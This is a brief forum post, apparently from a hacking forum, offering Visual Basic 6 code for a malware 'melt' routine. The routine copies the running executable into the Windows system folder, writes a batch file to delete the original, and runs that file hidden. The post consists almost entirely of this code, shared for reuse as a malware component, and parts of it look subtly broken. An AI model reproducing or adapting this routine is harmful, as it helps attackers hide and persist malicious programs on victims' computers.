Hi guys... here is a melt function
Code:Private Sub Form_Load() If App.Path <> Environ("systemroot") Then 'If File doesnt exist in systemroot then do DoEvent: FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("systemroot") & "\copiedfile.exe" 'Copy file to systemroot and rename it End If Dim i As Integer Open Environ("systemroot") & "runner.bat" For Output As #1 'open a bat file called runner.bat Print #1, "Del " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) 'Put this code into the opened bat file Close #1 'Now Done, close file For i = 0 To 10000 i = i + 1 Next Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir. End End Sub


LinkBack URL
About LinkBacks
Reply With Quote






